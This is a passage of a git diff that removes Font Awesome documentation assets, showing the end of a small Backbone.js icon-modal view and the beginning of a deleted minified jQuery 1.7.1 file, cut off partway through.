-    var MainView = Backbone.View.extend({
-        el: $("div.container"),
-
-        modalTemplate: _.template($("#modal-template").html()),
-
-        events:{
-            "click ul.the-icons > li": "iconClicked"
-        },
-
-        iconClicked: function(event) {
-            event.preventDefault();
-
-            var $item = $(event.currentTarget);
-            var $modal = $(this.modalTemplate({"style": $item.attr("class")}));
-
-            $modal.modal("show");
-            $modal.on('hidden', function () {
-                $modal.remove();
-            })
-        }
-    });
-
-    var mainView = new MainView();
-});
diff --git a/assets/font-awesome/docs/assets/js/jquery-1.7.1.min.js b/assets/font-awesome/docs/assets/js/jquery-1.7.1.min.js
deleted file mode 100755
index 198b3ff0..00000000
--- a/assets/font-awesome/docs/assets/js/jquery-1.7.1.min.js
+++ /dev/null
@@ -1,4 +0,0 @@
-/*! jQuery v1.7.1 jquery.com | jquery.org/license */
-(function(a,b){function cy(a){return f.isWindow(a)?a:a.nodeType===9?a.defaultView||a.parentWindow:!1}function cv(a){if(!ck[a]){var b=c.body,d=f("<"+a+">").appendTo(b),e=d.css("display");d.remove();if(e==="none"||e===""){cl||(cl=c.createElement("iframe"),cl.frameBorder=cl.width=cl.height=0),b.appendChild(cl);if(!cm||!cl.createElement)cm=(cl.contentWindow||cl.contentDocument).document,cm.write((c.compatMode==="CSS1Compat"?"<!doctype html>":"")+"<html><body>"),cm.close();d=cm.createElement(a),cm.body.appendChild(d),e=f.css(d,"display"),b.removeChild(cl)}ck[a]=e}return ck[a]}function cu(a,b){var c={};f.each(cq.concat.apply([],cq.slice(0,b)),function(){c[this]=a});return c}function ct(){cr=b}function cs(){setTimeout(ct,0);return cr=f.now()}function cj(){try{return new a.ActiveXObject("Microsoft.XMLHTTP")}catch(b){}}function ci(){try{return new a.XMLHttpRequest}catch(b){}}function cc(a,c){a.dataFilter&&(c=a.dataFilter(c,a.dataType));var d=a.dataTypes,e={},g,h,i=d.length,j,k=d[0],l,m,n,o,p;for(g=1;g<i;g++){if(g===1)for(h in a.converters)typeof h=="string"&&(e[h.toLowerCase()]=a.converters[h]);l=k,k=d[g];if(k==="*")k=l;else if(l!=="*"&&l!==k){m=l+" "+k,n=e[m]||e["* "+k];if(!n){p=b;for(o in e){j=o.split(" ");if(j[0]===l||j[0]==="*"){p=e[j[1]+" "+k];if(p){o=e[o],o===!0?n=p:p===!0&&(n=o);break}}}}!n&&!p&&f.error("No conversion from "+m.replace(" "," to ")),n!==!0&&(c=n?n(c):p(o(c)))}}return c}function cb(a,c,d){var e=a.contents,f=a.dataTypes,g=a.responseFields,h,i,j,k;for(i in g)i in d&&(c[g[i]]=d[i]);while(f[0]==="*")f.shift(),h===b&&(h=a.mimeType||c.getResponseHeader("content-type"));if(h)for(i in e)if(e[i]&&e[i].test(h)){f.unshift(i);break}if(f[0]in d)j=f[0];else{for(i in d){if(!f[0]||a.converters[i+" "+f[0]]){j=i;break}k||(k=i)}j=j||k}if(j){j!==f[0]&&f.unshift(j);return d[j]}}function ca(a,b,c,d){if(f.isArray(b))f.each(b,function(b,e){c||bE.test(a)?d(a,e):ca(a+"["+(typeof e=="object"||f.isArray(e)?b:"")+"]",e,c,d)});else if(!c&&b!=null&&typeof b=="object")for(var e in b)ca(a+"["+e+"]",b[e],c,d);else d(a,b)}function b_(a,c){var d,e,g=f.ajaxSettings.flatOptions||{};for(d in c)c[d]!==b&&((g[d]?a:e||(e={}))[d]=c[d]);e&&f.extend(!0,a,e)}function b$(a,c,d,e,f,g){f=f||c.dataTypes[0],g=g||{},g[f]=!0;var h=a[f],i=0,j=h?h.length:0,k=a===bT,l;for(;i<j&&(k||!l);i++)l=h[i](c,d,e),typeof l=="string"&&(!k||g[l]?l=b:(c.dataTypes.unshift(l),l=b$(a,c,d,e,l,g)));(k||!l)&&!g["*"]&&(l=b$(a,c,d,e,"*",g));return l}function bZ(a){return function(b,c){typeof b!="string"&&(c=b,b="*");if(f.isFunction(c)){var d=b.toLowerCase().split(bP),e=0,g=d.length,h,i,j;for(;e<g;e++)h=d[e],j=/^\+/.test(h),j&&(h=h.substr(1)||"*"),i=a[h]=a[h]||[],i[j?"unshift":"push"](c)}}}function bC(a,b,c){var d=b==="width"?a.offsetWidth:a.offsetHeight,e=b==="width"?bx:by,g=0,h=e.length;if(d>0){if(c!=="border")for(;g<h;g++)c||(d-=parseFloat(f.css(a,"padding"+e[g]))||0),c==="margin"?d+=parseFloat(f.css(a,c+e[g]))||0:d-=parseFloat(f.css(a,"border"+e[g]+"Width"))||0;return d+"px"}d=bz(a,b,b);if(d<0||d==null)d=a.style[b]||0;d=parseFloat(d)||0;if(c)for(;g<h;g++)d+=parseFloat(f.css(a,"padding"+e[g]))||0,c!=="padding"&&(d+=parseFloat(f.css(a,"border"+e[g]+"Width"))||0),c==="margin"&&(d+=parseFloat(f.css(a,c+e[g]))||0);return d+"px"}function bp(a,b){b.src?f.ajax({url:b.src,async:!1,dataType:"script"}):f.globalEval((b.text||b.textContent||b.innerHTML||"").replace(bf,"/*$0*/")),b.parentNode&&b.parentNode.removeChild(b)}function bo(a){var b=c.createElement("div");bh.appendChild(b),b.innerHTML=a.outerHTML;return b.firstChild}function bn(a){var b=(a.nodeName||"").toLowerCase();b==="input"?bm(a):b!=="script"&&typeof a.getElementsByTagName!="undefined"&&f.grep(a.getElementsByTagName("input"),bm)}function bm(a){if(a.type==="checkbox"||a.type==="radio")a.defaultChecked=a.checked}function bl(a){return typeof a.getElementsByTagName!="undefined"?a.getElementsByTagName("*"):typeof a.querySelectorAll!="undefined"?a.querySelectorAll("*"):[]}function bk(a,b){var c;if(b.nodeType===1){b.clearAttributes&&b.clearAttributes(),b.mergeAttributes&&b.mergeAttributes(a),c=b.nodeName.toLowerCase();if(c==="object")b.outerHTML=a.outerHTML;else if(c!=="input"||a.type!=="checkbox"&&a.type!=="radio"){if(c==="option")b.selected=a.defaultSelected;else if(c==="input"||c==="textarea")b.defaultValue=a.defaultValue}else a.checked&&(b.defaultChecked=b.checked=a.checked),b.value!==a.value&&(b.value=a.value);b.removeAttribute(f.expando)}}function bj(a,b){if(b.nodeType===1&&!!f.hasData(a)){var c,d,e,g=f._data(a),h=f._data(b,g),i=g.events;if(i){delete h.handle,h.events={};for(c in i)for(d=0,e=i[c].length;d<e;d++)f.event.add(b,c+(i[c][d].namespace?".":"")+i[c][d].namespace,i[c][d],i[c][d].data)}h.data&&(h.data=f.extend({},h.data))}}function bi(a,b){return f.nodeName(a,"table")?a.getElementsByTagName("tbody")[0]||a.appendChild(a.ownerDocument.createElement("tbody")):a}function U(a){var b=V.split("|"),c=a.createDocumentFragment();if(c.createElement)while(b.length)c.createElement(b.pop());return c}function T(a,b,c){b=b||0;if(f.isFunction(b))return f.grep(a,function(a,d){var e=!!b.call(a,d,a);return e===c});if(b.nodeType)return f.grep(a,function(a,d){return a===b===c});if(typeof b=="string"){var d=f.grep(a,function(a){return a.nodeType===1});if(O.test(b))return f.filter(b,d,!c);b=f.filter(b,d)}return f.grep(a,function(a,d){return f.inArray(a,b)>=0===c})}function S(a){return!a||!a.parentNode||a.parentNode.nodeType===11}function K(){return!0}function J(){return!1}function n(a,b,c){var d=b+"defer",e=b+"queue",g=b+"mark",h=f._data(a,d);h&&(c==="queue"||!f._data(a,e))&&(c==="mark"||!f._data(a,g))&&setTimeout(function(){!f._data(a,e)&&!f._data(a,g)&&(f.removeData(a,d,!0),h.fire())},0)}function m(a){for(var b in a){if(b==="data"&&f.isEmptyObject(a[b]))continue;if(b!=="toJSON")return!1}return!0}function l(a,c,d){if(d===b&&a.nodeType===1){var e="data-"+c.replace(k,"-$1").toLowerCase();d=a.getAttribute(e);if(typeof d=="string"){try{d=d==="true"?!0:d==="false"?!1:d==="null"?null:f.isNumeric(d)?parseFloat(d):j.test(d)?f.parseJSON(d):d}catch(g){}f.data(a,c,d)}else d=b}return d}function h(a){var b=g[a]={},c,d;a=a.split(/\s+/);for(c=0,d=a.length;c<d;c++)b[a[c]]=!0;return b}var c=a.document,d=a.navigator,e=a.location,f=function(){function J(){if(!e.isReady){try{c.documentElement.doScroll("left")}catch(a){setTimeout(J,1);return}e.ready()}}var e=function(a,b){return new e.fn.init(a,b,h)},f=a.jQuery,g=a.$,h,i=/^(?:[^#<]*(<[\w\W]+>)[^>]*$|#([\w\-]*)$)/,j=/\S/,k=/^\s+/,l=/\s+$/,m=/^<(\w+)\s*\/?>(?:<\/\1>)?$/,n=/^[\],:{}\s]*$/,o=/\\(?:["\\\/bfnrt]|u[0-9a-fA-F]{4})/g,p=/"[^"\\\n\r]*"|true|false|null|-?\d+(?:\.\d*)?(?:[eE][+\-]?\d+)?/g,q=/(?:^|:|,)(?:\s*\[)+/g,r=/(webkit)[ \/]([\w.]+)/,s=/(opera)(?:.*version)?[ \/]([\w.]+)/,t=/(msie) ([\w.]+)/,u=/(mozilla)(?:.*? rv:([\w.]+))?/,v=/-([a-z]|[0-9])/ig,w=/^-ms-/,x=function(a,b){return(b+"").toUpperCase()},y=d.userAgent,z,A,B,C=Object.prototype.toString,D=Object.prototype.hasOwnProperty,E=Array.prototype.push,F=Array.prototype.slice,G=String.prototype.trim,H=Array.prototype.indexOf,I={};e.fn=e.prototype={constructor:e,init:function(a,d,f){var g,h,j,k;if(!a)return this;if(a.nodeType){this.context=this[0]=a,this.length=1;return this}if(a==="body"&&!d&&c.body){this.context=c,this[0]=c.body,this.selector=a,this.length=1;return this}if(typeof a=="string"){a.charAt(0)!=="<"||a.charAt(a.length-1)!==">"||a.length<3?g=i.exec(a):g=[null,a,null];if(g&&(g[1]||!d)){if(g[1]){d=d instanceof e?d[0]:d,k=d?d.ownerDocument||d:c,j=m.exec(a),j?e.isPlainObject(d)?(a=[c.createElement(j[1])],e.fn.attr.call(a,d,!0)):a=[k.createElement(j[1])]:(j=e.buildFragment([g[1]],[k]),a=(j.cacheable?e.clone(j.fragment):j.fragment).childNodes);return e.merge(this,a)}h=c.getElementById(g[2]);if(h&&h.parentNode){if(h.id!==g[2])return f.find(a);this.length=1,this[0]=h}this.context=c,this.selector=a;return this}return!d||d.jquery?(d||f).find(a):this.constructor(d).find(a)}if(e.isFunction(a))return f.ready(a);a.selector!==b&&(this.selector=a.selector,this.context=a.context);return e.makeArray(a,this)},selector:"",jquery:"1.7.1",length:0,size:function(){return this.length},toArray:function(){return F.call(this,0)},get:function(a){return a==null?this.toArray():a<0?this[this.length+a]:this[a]},pushStack:function(a,b,c){var d=this.constructor();e.isArray(a)?E.apply(d,a):e.merge(d,a),d.prevObject=this,d.context=this.context,b==="find"?d.selector=this.selector+(this.selector?" ":"")+c:b&&(d.selector=this.selector+"."+b+"("+c+")");return d},each:function(a,b){return e.each(this,a,b)},ready:function(a){e.bindReady(),A.add(a);return this},eq:function(a){a=+a;return a===-1?this.slice(a):this.slice(a,a+1)},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},slice:function(){return this.pushStack(F.apply(this,arguments),"slice",F.call(arguments).join(","))},map:function(a){return this.pushStack(e.map(this,function(b,c){return a.call(b,c,b)}))},end:function(){return this.prevObject||this.constructor(null)},push:E,sort:[].sort,splice:[].splice},e.fn.init.prototype=e.fn,e.extend=e.fn.extend=function(){var a,c,d,f,g,h,i=arguments[0]||{},j=1,k=arguments.length,l=!1;typeof i=="boolean"&&(l=i,i=arguments[1]||{},j=2),typeof i!="object"&&!e.isFunction(i)&&(i={}),k===j&&(i=this,--j);for(;j<k;j++)if((a=arguments[j])!=null)for(c in a){d=i[c],f=a[c];if(i===f)continue;l&&f&&(e.isPlainObject(f)||(g=e.isArray(f)))?(g?(g=!1,h=d&&e.isArray(d)?d:[]):h=d&&e.isPlainObject(d)?d:{},i[c]=e.extend(l,h,f)):f!==b&&(i[c]=f)}return i},e.extend({noConflict:function(b){a.$===e&&(a.$=g),b&&a.jQuery===e&&(a.jQuery=f);return e},isReady:!1,readyWait:1,holdReady:function(a){a?e.readyWait++:e.ready(!0)},ready:function(a){if(a===!0&&!--e.readyWait||a!==!0&&!e.isReady){if(!c.body)return setTimeout(e.ready,1);e.isReady=!0;if(a!==!0&&--e.readyWait>0)return;A.fireWith(c,[e]),e.fn.trigger&&e(c).trigger("ready").off("ready")}},bindReady:function(){if(!A){A=e.Callbacks("once memory");if(c.readyState==="complete")return setTimeout(e.ready,1);if(c.addEventListener)c.addEventListener("DOMContentLoaded",B,!1),a.addEventListener("load",e.ready,!1);else if(c.attachEvent){c.attachEvent("onreadystatechange",B),a.attachEvent("onload",e.ready);var b=!1;try{b=a.frameElement==null}catch(d){}c.documentElement.doScroll&&b&&J()}}},isFunction:function(a){return e.type(a)==="function"},isArray:Array.isArray||function(a){return e.type(a)==="array"},isWindow:function(a){return a&&typeof a=="object"&&"setInterval"in a},isNumeric:function(a){return!isNaN(parseFloat(a))&&isFinite(a)},type:function(a){return a==null?String(a):I[C.call(a)]||"object"},isPlainObject:function(a){if(!a||e.type(a)!=="object"||a.nodeType||e.isWindow(a))return!1;try{if(a.constructor&&!D.call(a,"constructor")&&!D.call(a.constructor.prototype,"isPrototypeOf"))return!1}catch(c){return!1}var d;for(d in a);return d===b||D.call(a,d)},isEmptyObject:function(a){for(var b in a)return!1;return!0},error:function(a){throw new Error(a)},parseJSON:function(b){if(typeof b!="string"||!b)return null;b=e.trim(b);if(a.JSON&&a.JSON.parse)return a.JSON.parse(b);if(n.test(b.replace(o,"@").replace(p,"]").replace(q,"")))return(new Function("return "+b))();e.error("Invalid JSON: "+b)},parseXML:function(c){var d,f;try{a.DOMParser?(f=new DOMParser,d=f.parseFromString(c,"text/xml")):(d=new ActiveXObject("Microsoft.XMLDOM"),d.async="false",d.loadXML(c))}catch(g){d=b}(!d||!d.documentElement||d.getElementsByTagName("parsererror").length)&&e.error("Invalid XML: "+c);return d},noop:function(){},globalEval:function(b){b&&j.test(b)&&(a.execScript||function(b){a.eval.call(a,b)})(b)},camelCase:function(a){return a.replace(w,"ms-").replace(v,x)},nodeName:function(a,b){return a.nodeName&&a.nodeName.toUpperCase()===b.toUpperCase()},each:function(a,c,d){var f,g=0,h=a.length,i=h===b||e.isFunction(a);if(d){if(i){for(f in a)if(c.apply(a[f],d)===!1)break}else for(;g<h;)if(c.apply(a[g++],d)===!1)break}else if(i){for(f in a)if(c.call(a[f],f,a[f])===!1)break}else for(;g<h;)if(c.call(a[g],g,a[g++])===!1)break;return a},trim:G?function(a){return a==null?"":G.call(a)}:function(a){return a==null?"":(a+"").replace(k,"").replace(l,"")},makeArray:function(a,b){var c=b||[];if(a!=null){var d=e.type(a);a.length==null||d==="string"||d==="function"||d==="regexp"||e.isWindow(a)?E.call(c,a):e.merge(c,a)}return c},inArray:function(a,b,c){var d;if(b){if(H)return H.call(b,a,c);d=b.length,c=c?c<0?Math.max(0,d+c):c:0;for(;c<d;c++)if(c in b&&b[c]===a)return c}return-1},merge:function(a,c){var d=a.length,e=0;if(typeof c.length=="number")for(var f=c.length;e<f;e++)a[d++]=c[e];else while(c[e]!==b)a[d++]=c[e++];a.length=d;return a},grep:function(a,b,c){var d=[],e;c=!!c;for(var f=0,g=a.length;f<g;f++)e=!!b(a[f],f),c!==e&&d.push(a[f]);return d},map:function(a,c,d){var f,g,h=[],i=0,j=a.length,k=a instanceof e||j!==b&&typeof j=="number"&&(j>0&&a[0]&&a[j-1]||j===0||e.isArray(a));if(k)for(;i<j;i++)f=c(a[i],i,d),f!=null&&(h[h.length]=f);else for(g in a)f=c(a[g],g,d),f!=null&&(h[h.length]=f);return h.concat.apply([],h)},guid:1,proxy:function(a,c){if(typeof c=="string"){var d=a[c];c=a,a=d}if(!e.isFunction(a))return b;var f=F.call(arguments,2),g=function(){return a.apply(c,f.concat(F.call(arguments)))};g.guid=a.guid=a.guid||g.guid||e.guid++;return g},access:function(a,c,d,f,g,h){var i=a.length;if(typeof c=="object"){for(var j in c)e.access(a,j,c[j],f,g,d);return a}if(d!==b){f=!h&&f&&e.isFunction(d);for(var k=0;k<i;k++)g(a[k],c,f?d.call(a[k],k,g(a[k],c)):d,h);return a}return i?g(a[0],c):b},now:function(){return(new Date).getTime()},uaMatch:function(a){a=a.toLowerCase();var b=r.exec(a)||s.exec(a)||t.exec(a)||a.indexOf("compatible")<0&&u.exec(a)||[];return{browser:b[1]||"",version:b[2]||"0"}},sub:function(){function a(b,c){return new a.fn.init(b,c)}e.extend(!0,a,this),a.superclass=this,a.fn=a.prototype=this(),a.fn.constructor=a,a.sub=this.sub,a.fn.init=function(d,f){f&&f instanceof e&&!(f instanceof a)&&(f=a(f));return e.fn.init.call(this,d,f,b)},a.fn.init.prototype=a.fn;var b=a(c);return a},browser:{}}),e.each("Boolean Number String Function Array Date RegExp Object".split(" "),function(a,b){I["[object "+b+"]"]=b.toLowerCase()}),z=e.uaMatch(y),z.browser&&(e.browser[z.browser]=!0,e.browser.version=z.version),e.browser.webkit&&(e.browser.safari=!0),j.test(" ")&&(k=/^[\s\xA0]+/,l=/[\s\xA0]+$/),h=e(c),c.addEventListener?B=function(){c.removeEventListener("DOMContentLoaded",B,!1),e.ready()}:c.attachEvent&&(B=function(){c.readyState==="complete"&&(c.detachEvent("onreadystatechange",B),e.ready())});return e}(),g={};f.Callbacks=function(a){a=a?g[a]||h(a):{};var c=[],d=[],e,i,j,k,l,m=function(b){var d,e,g,h,i;for(d=0,e=b.length;d<e;d++)g=b[d],h=f.type(g),h==="array"?m(g):h==="function"&&(!a.unique||!o.has(g))&&c.push(g)},n=function(b,f){f=f||[],e=!a.memory||[b,f],i=!0,l=j||0,j=0,k=c.length;for(;c&&l<k;l++)if(c[l].apply(b,f)===!1&&a.stopOnFalse){e=!0;break}i=!1,c&&(a.once?e===!0?o.disable():c=[]:d&&d.length&&(e=d.shift(),o.fireWith(e[0],e[1])))},o={add:function(){if(c){var a=c.length;m(arguments),i?k=c.length:e&&e!==!0&&(j=a,n(e[0],e[1]))}return this},remove:function(){if(c){var b=arguments,d=0,e=b.length;for(;d<e;d++)for(var f=0;f<c.length;f++)if(b[d]===c[f]){i&&f<=k&&(k--,f<=l&&l--),c.splice(f--,1);if(a.unique)break}}return this},has:function(a){if(c){var b=0,d=c.length;for(;b<d;b++)if(a===c[b])return!0}return!1},empty:function(){c=[];return this},disable:function(){c=d=e=b;return this},disabled:function(){return!c},lock:function(){d=b,(!e||e===!0)&&o.disable();return this},locked:function(){return!d},fireWith:function(b,c){d&&(i?a.once||d.push([b,c]):(!a.once||!e)&&n(b,c));return this},fire:function(){o.fireWith(this,arguments);return this},fired:function(){return!!e}};return o};var i=[].slice;f.extend({Deferred:function(a){var b=f.Callbacks("once memory"),c=f.Callbacks("once memory"),d=f.Callbacks("memory"),e="pending",g={resolve:b,reject:c,notify:d},h={done:b.add,fail:c.add,progress:d.add,state:function(){return e},isResolved:b.fired,isRejected:c.fired,then:function(a,b,c){i.done(a).fail(b).progress(c);return this},always:function(){i.done.apply(i,arguments).fail.apply(i,arguments);return this},pipe:function(a,b,c){return f.Deferred(function(d){f.each({done:[a,"resolve"],fail:[b,"reject"],progress:[c,"notify"]},function(a,b){var c=b[0],e=b[1],g;f.isFunction(c)?i[a](function(){g=c.apply(this,arguments),g&&f.isFunction(g.promise)?g.promise().then(d.resolve,d.reject,d.notify):d[e+"With"](this===i?d:this,[g])}):i[a](d[e])})}).promise()},promise:function(a){if(a==null)a=h;else for(var b in h)a[b]=h[b];return a}},i=h.promise({}),j;for(j in g)i[j]=g[j].fire,i[j+"With"]=g[j].fireWith;i.done(function(){e="resolved"},c.disable,d.lock).fail(function(){e="rejected"},b.disable,d.lock),a&&a.call(i,i);return i},when:function(a){function m(a){return function(b){e[a]=arguments.length>1?i.call(arguments,0):b,j.notifyWith(k,e)}}function l(a){return function(c){b[a]=arguments.length>1?i.call(arguments,0):c,--g||j.resolveWith(j,b)}}var b=i.call(arguments,0),c=0,d=b.length,e=Array(d),g=d,h=d,j=d<=1&&a&&f.isFunction(a.promise)?a:f.Deferred(),k=j.promise();if(d>1){for(;c<d;c++)b[c]&&b[c].promise&&f.isFunction(b[c].promise)?b[c].promise().then(l(c),j.reject,m(c)):--g;g||j.resolveWith(j,b)}else j!==a&&j.resolveWith(j,d?[a]:[]);return k}}),f.support=function(){var b,d,e,g,h,i,j,k,l,m,n,o,p,q=c.createElement("div"),r=c.documentElement;q.setAttribute("className","t"),q.innerHTML="   <link/><table></table><a href='/a' style='top:1px;float:left;opacity:.55;'>a</a><input type='checkbox'/>",d=q.getElementsByTagName("*"),e=q.getElementsByTagName("a")[0];if(!d||!d.length||!e)return{};g=c.createElement("select"),h=g.appendChild(c.createElement("option")),i=q.getElementsByTagName("input")[0],b={leadingWhitespace:q.firstChild.nodeType===3,tbody:!q.getElementsByTagName("tbody").length,htmlSerialize:!!q.getElementsByTagName("link").length,style:/top/.test(e.getAttribute("style")),hrefNormalized:e.getAttribute("href")==="/a",opacity:/^0.55/.test(e.style.opacity),cssFloat:!!e.style.cssFloat,checkOn:i.value==="on",optSelected:h.selected,getSetAttribute:q.className!=="t",enctype:!!c.createElement("form").enctype,html5Clone:c.createElement("nav").cloneNode(!0).outerHTML!=="<:nav></:nav>",submitBubbles:!0,changeBubbles:!0,focusinBubbles:!1,deleteExpando:!0,noCloneEvent:!0,inlineBlockNeedsLayout:!1,shrinkWrapBlocks:!1,reliableMarginRight:!0},i.checked=!0,b.noCloneChecked=i.cloneNode(!0).checked,g.disabled=!0,b.optDisabled=!h.disabled;try{delete q.test}catch(s){b.deleteExpando=!1}!q.addEventListener&&q.attachEvent&&q.fireEvent&&(q.attachEvent("onclick",function(){b.noCloneEvent=!1}),q.cloneNode(!0).fireEvent("onclick")),i=c.createElement("input"),i.value="t",i.setAttribute("type","radio"),b.radioValue=i.value==="t",i.setAttribute("checked","checked"),q.appendChild(i),k=c.createDocumentFragment(),k.appendChild(q.lastChild),b.checkClone=k.cloneNode(!0).cloneNode(!0).lastChild.checked,b.appendChecked=i.checked,k.removeChild(i),k.appendChild(q),q.innerHTML="",a.getComputedStyle&&(j=c.createElement("div"),j.style.width="0",j.style.marginRight="0",q.style.width="2px",q.appendChild(j),b.reliableMarginRight=(parseInt((a.getComputedStyle(j,null)||{marginRight:0}).marginRight,10)||0)===0);if(q.attachEvent)for(o in{submit:1,change:1,focusin:1})n="on"+o,p=n in q,p||(q.setAttribute(n,"return;"),p=typeof q[n]=="function"),b[o+"Bubbles"]=p;k.removeChild(q),k=g=h=j=q=i=null,f(function(){var a,d,e,g,h,i,j,k,m,n,o,r=c.getElementsByTagName("body")[0];!r||(j=1,k="position:absolute;top:0;left:0;width:1px;height:1px;margin:0;",m="visibility:hidden;border:0;",n="style='"+k+"border:5px solid #000;padding:0;'",o="<div "+n+"><div></div></div>"+"<table "+n+" cellpadding='0' cellspacing='0'>"+"<tr><td></td></tr></table>",a=c.createElement("div"),a.style.cssText=m+"width:0;height:0;position:static;top:0;margin-top:"+j+"px",r.insertBefore(a,r.firstChild),q=c.createElement("div"),a.appendChild(q),q.innerHTML="<table><tr><td style='padding:0;border:0;display:none'></td><td>t</td></tr></table>",l=q.getElementsByTagName("td"),p=l[0].offsetHeight===0,l[0].style.display="",l[1].style.display="none",b.reliableHiddenOffsets=p&&l[0].offsetHeight===0,q.innerHTML="",q.style.width=q.style.paddingLeft="1px",f.boxModel=b.boxModel=q.offsetWidth===2,typeof q.style.zoom!="undefined"&&(q.style.display="inline",q.style.zoom=1,b.inlineBlockNeedsLayout=q.offsetWidth===2,q.style.display="",q.innerHTML="<div style='width:4px;'></div>",b.shrinkWrapBlocks=q.offsetWidth!==2),q.style.cssText=k+m,q.innerHTML=o,d=q.firstChild,e=d.firstChild,h=d.nextSibling.firstChild.firstChild,i={doesNotAddBorder:e.offsetTop!==5,doesAddBorderForTableAndCells:h.offsetTop===5},e.style.position="fixed",e.style.top="20px",i.fixedPosition=e.offsetTop===20||e.offsetTop===15,e.style.position=e.style.top="",d.style.overflow="hidden",d.style.position="relative",i.subtractsBorderForOverflowNotVisible=e.offsetTop===-5,i.doesNotIncludeMarginInBodyOffset=r.offsetTop!==j,r.removeChild(a),q=a=null,f.extend(b,i))});return b}();var j=/^(?:\{.*\}|\[.*\])$/,k=/([A-Z])/g;f.extend({cache:{},uuid:0,expando:"jQuery"+(f.fn.jquery+Math.random()).replace(/\D/g,""),noData:{embed:!0,object:"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000",applet:!0},hasData:function(a){a=a.nodeType?f.cache[a[f.expando]]:a[f.expando];return!!a&&!m(a)},data:function(a,c,d,e){if(!!f.acceptData(a)){var g,h,i,j=f.expando,k=typeof c=="string",l=a.nodeType,m=l?f.cache:a,n=l?a[j]:a[j]&&j,o=c==="events";if((!n||!m[n]||!o&&!e&&!m[n].data)&&k&&d===b)return;n||(l?a[j]=n=++f.uuid:n=j),m[n]||(m[n]={},l||(m[n].toJSON=f.noop));if(typeof c=="object"||typeof c=="function")e?m[n]=f.extend(m[n],c):m[n].data=f.extend(m[n].data,c);g=h=m[n],e||(h.data||(h.data={}),h=h.data),d!==b&&(h[f.camelCase(c)]=d);if(o&&!h[c])return g.events;k?(i=h[c],i==null&&(i=h[f.camelCase(c)])):i=h;return i}},removeData:function(a,b,c){if(!!f.acceptData(a)){var d,e,g,h=f.expando,i=a.nodeType,j=i?f.cache:a,k=i?a[h]:h;if(!j[k])return;if(b){d=c?j[k]:j[k].data;if(d){f.isArray(b)||(b in d?b=[b]:(b=f.camelCase(b),b in d?b=[b]:b=b.split(" ")));for(e=0,g=b.length;e<g;e++)delete d[b[e]];if(!(c?m:f.isEmptyObject)(d))return}}if(!c){delete j[k].data;if(!m(j[k]))return}f.support.deleteExpando||!j.setInterval?delete j[k]:j[k]=null,i&&(f.support.deleteExpando?delete a[h]:a.removeAttribute?a.removeAttribute(h):a[h]=null)}},_data:function(a,b,c){return f.data(a,b,c,!0)},acceptData:function(a){if(a.nodeName){var b=f.noData[a.nodeName.toLowerCase()];if(b)return b!==!0&&a.getAttribute("classid")===b}return!0}}),f.fn.extend({data:function(a,c){var d,e,g,h=null;if(typeof a=="undefined"){if(this.length){h=f.data(this[0]);if(this[0].nodeType===1&&!f._data(this[0],"parsedAttrs")){e=this[0].attributes;for(var i=0,j=e.length;i<j;i++)g=e[i].name,g.indexOf("data-")===0&&(g=f.camelCase(g.substring(5)),l(this[0],g,h[g]));f._data(this[0],"parsedAttrs",!0)}}return h}if(typeof a=="object")return this.each(function(){f.data(this,a)});d=a.split("."),d[1]=d[1]?"."+d[1]:"";if(c===b){h=this.triggerHandler("getData"+d[1]+"!",[d[0]]),h===b&&this.length&&(h=f.data(this[0],a),h=l(this[0],a,h));return h===b&&d[1]?this.data(d[0]):h}return this.each(function(){var b=f(this),e=[d[0],c];b.triggerHandler("setData"+d[1]+"!",e),f.data(this,a,c),b.triggerHandler("changeData"+d[1]+"!",e)})},removeData:function(a){return this.each(function(){f.removeData(this,a)})}}),f.extend({_mark:function(a,b){a&&(b=(b||"fx")+"mark",f._data(a,b,(f._data(a,b)||0)+1))},_unmark:function(a,b,c){a!==!0&&(c=b,b=a,a=!1);if(b){c=c||"fx";var d=c+"mark",e=a?0:(f._data(b,d)||1)-1;e?f._data(b,d,e):(f.removeData(b,d,!0),n(b,c,"mark"))}},queue:function(a,b,c){var d;if(a){b=(b||"fx")+"queue",d=f._data(a,b),c&&(!d||f.isArray(c)?d=f._data(a,b,f.makeArray(c)):d.push(c));return d||[]}},dequeue:function(a,b){b=b||"fx";var c=f.queue(a,b),d=c.shift(),e={};d==="inprogress"&&(d=c.shift()),d&&(b==="fx"&&c.unshift("inprogress"),f._data(a,b+".run",e),d.call(a,function(){f.dequeue(a,b)},e)),c.length||(f.removeData(a,b+"queue "+b+".run",!0),n(a,b,"queue"))}}),f.fn.extend({queue:function(a,c){typeof a!="string"&&(c=a,a="fx");if(c===b)return f.queue(this[0],a);return this.each(function(){var b=f.queue(this,a,c);a==="fx"&&b[0]!=="inprogress"&&f.dequeue(this,a)})},dequeue:function(a){return this.each(function(){f.dequeue(this,a)})},delay:function(a,b){a=f.fx?f.fx.speeds[a]||a:a,b=b||"fx";return this.queue(b,function(b,c){var d=setTimeout(b,a);c.stop=function(){clearTimeout(d)}})},clearQueue:function(a){return this.queue(a||"fx",[])},promise:function(a,c){function m(){--h||d.resolveWith(e,[e])}typeof a!="string"&&(c=a,a=b),a=a||"fx";var d=f.Deferred(),e=this,g=e.length,h=1,i=a+"defer",j=a+"queue",k=a+"mark",l;while(g--)if(l=f.data(e[g],i,b,!0)||(f.data(e[g],j,b,!0)||f.data(e[g],k,b,!0))&&f.data(e[g],i,f.Callbacks("once memory"),!0))h++,l.add(m);m();return d.promise()}});var o=/[\n\t\r]/g,p=/\s+/,q=/\r/g,r=/^(?:button|input)$/i,s=/^(?:button|input|object|select|textarea)$/i,t=/^a(?:rea)?$/i,u=/^(?:autofocus|autoplay|async|checked|controls|defer|disabled|hidden|loop|multiple|open|readonly|required|scoped|selected)$/i,v=f.support.getSetAttribute,w,x,y;f.fn.extend({attr:function(a,b){return f.access(this,a,b,!0,f.attr)},removeAttr:function(a){return this.each(function(){f.removeAttr(this,a)})},prop:function(a,b){return f.access(this,a,b,!0,f.prop)},removeProp:function(a){a=f.propFix[a]||a;return this.each(function(){try{this[a]=b,delete this[a]}catch(c){}})},addClass:function(a){var b,c,d,e,g,h,i;if(f.isFunction(a))return this.each(function(b){f(this).addClass(a.call(this,b,this.className))});if(a&&typeof a=="string"){b=a.split(p);for(c=0,d=this.length;c<d;c++){e=this[c];if(e.nodeType===1)if(!e.className&&b.length===1)e.className=a;else{g=" "+e.className+" ";for(h=0,i=b.length;h<i;h++)~g.indexOf(" "+b[h]+" ")||(g+=b[h]+" ");e.className=f.trim(g)}}}return this},removeClass:function(a){var 